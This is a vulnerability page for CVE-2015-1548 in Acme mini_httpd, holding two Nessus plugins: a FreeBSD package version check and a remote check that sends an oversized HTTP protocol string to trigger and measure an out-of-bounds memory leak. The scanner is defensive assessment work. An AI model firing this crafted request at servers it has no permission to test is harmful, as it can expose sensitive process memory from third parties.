Vulnerabilities > CVE-2015-1548 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Acme Mini Httpd

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(87698);
  script_version("2.2");
  script_cvs_date("Date: 2018/11/10 11:49:45");

  script_cve_id("CVE-2015-1548");

  script_name(english:"FreeBSD : mini_httpd -- buffer overflow via snprintf (84dc49b0-b267-11e5-8a5b-00262d5ed8ee)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"ACME Updates reports :

mini_httpd 1.21 and earlier allows remote attackers to obtain
sensitive information from process memory via an HTTP request with a
long protocol string, which triggers an incorrect response size
calculation and an out-of-bounds read.

(rene) ACME, the author, claims that the vulnerability is fixed
*after* version 1.22, released on 2015-12-28"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://cxsecurity.com/cveshow/CVE-2015-1548"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://acme.com/updates/archive/192.html"
  );
  # https://vuxml.freebsd.org/freebsd/84dc49b0-b267-11e5-8a5b-00262d5ed8ee.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?b38defc9"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:mini_httpd");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/01/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/01/04");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"mini_httpd<1.23")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(90925);
  script_version("1.4");
  script_cvs_date("Date: 2019/11/19");

  script_cve_id("CVE-2015-1548");
  script_bugtraq_id(73450);

  script_name(english:"Acme mini_httpd Protocol String Handling Memory Disclosure");
  script_summary(english:"Attempts to send a large header string to trigger a memory leak on the remote host.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by an information disclosure
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Acme mini_httpd web server running on the remote host is affected
by a flaw in the add_headers() function within file mini_httpd.c that
is triggered when handling HTTP requests that have a very long
protocol string. An unauthenticated, remote attacker can exploit this,
via a crafted request, to cause an out-of-bounds read error, resulting
in the disclose of sensitive information in process memory.");
  # https://www.itinsight.hu/blog/posts/2015-01-23-mini_httpd-v1-21-information-disclosure.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?013a3d27");
  script_set_attribute(attribute:"see_also", value:"http://acme.com/software/mini_httpd/");
  script_set_attribute(attribute:"solution", value:
"If possible, upgrade to Acme mini_httpd version 1.23 or later. For
vendor hardware, such as modems or industrial control devices, ensure
that the firmware is current and/or its net access is limited to
trusted networks only.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/23");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/12/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/05/05");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:acme:mini_httpd");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Web Servers");

  script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");

app = "mini_httpd";
port = get_http_port(default:80, embedded: TRUE);
if (!get_port_state(port)) audit(AUDIT_PORT_CLOSED, port);

# Check http header
banner = get_http_banner(port:port);
if (banner == NULL) audit(AUDIT_WEB_BANNER_NOT, port);
if ("Server: mini_httpd" >!< banner) audit(AUDIT_WRONG_WEB_SERVER, port, app);

# Iterate over known html files
urls = get_kb_list("www/" + port + "/content/extensions/html");
if (urls == NULL) urls = make_list("/");
else urls = make_list(urls, "/");

report = "";
foreach url (urls)
{
  # Send basic request
  res = http_send_recv3(method:"GET", item:url, port:port);
  if (res == NULL) continue;
  htmllen = strlen(res[2]);
  
  # Send memory leak request
  httpver = "";
  for (i = 0; i < 65535; i+=6) httpver += "NESSUS";
  httpver += "\Y";
  req = "GET " + url + " " + httpver + '\r\n';
  req += '\r\n';

  # Try to open socket
  trynum = 0;
  while (trynum < 10 && soc2 == 0)
  {
    trynum++;
    soc2 = open_sock_tcp(port);
  }

  if(!soc2) continue;
  
  send(socket: soc2, data: req);
  r = recv(socket: soc2, length: htmllen + strlen(httpver));
  close(soc2);
  soc2 = NULL;
  if (isnull(r)) continue;
  
  if (strlen(r) >= htmllen + strlen(httpver))
  {
    report += "  " + url + " (leaked " + (strlen(r) - htmllen) + " bytes)" + '\n';
  }
}

# Iterate over known directories
dirs = get_kb_list("www/" + port + "/content/directories");

foreach dir (dirs)
{
  # Remove trailing slash
  if (strlen(dir) > 0 && dir[strlen(dir)-1] == "/") dir = substr(dir, 0, strlen(dir)-2);
  
  # Skip duplicate root dir request
  if (dir == "") continue;
  
  # Send basic request
  res = http_send_recv3(method:"GET", item:dir+"/", port:port);
  if (res == NULL) continue;
  htmllen = strlen(res[2]);
  
  # Send memory leak request
  httpver = "";
  for (i = 0; i < 65535; i+=6) httpver += "NESSUS";
  httpver += "\Y";
  req = "GET " + dir + "/ " + httpver + '\r\n';
  req += '\r\n';

  # Try to open socket
  trynum = 0;
  while (trynum < 10 && soc2 == 0)
  {
    trynum++;
    soc2 = open_sock_tcp(port);
  }

  if(!soc2) continue;
  
  send(socket: soc2, data: req);
  r = recv(socket: soc2, length: htmllen + strlen(httpver));
  close(soc2);
  soc2 = NULL;
  if (isnull(r)) continue;
  
  if (strlen(r) >= htmllen + strlen(httpver))
  {
    report += "  " + dir + "/ (leaked " + (strlen(r) - htmllen) + " bytes)" + '\n';
  }
}
if (report != "")
{
  report = "Nessus attempted to exploit a memory leak vulnerability"+'\n'+
           "in the remote mini_httpd server. The server returned"+'\n'+
           "leaked memory on the following urls:" + '\n\n' + report;
  security_report_v4(
     port       : port,
     severity   : SECURITY_WARNING,
     extra      : report
    );
  exit(0);
}
else
  audit(AUDIT_INST_PATH_NOT_VULN, app);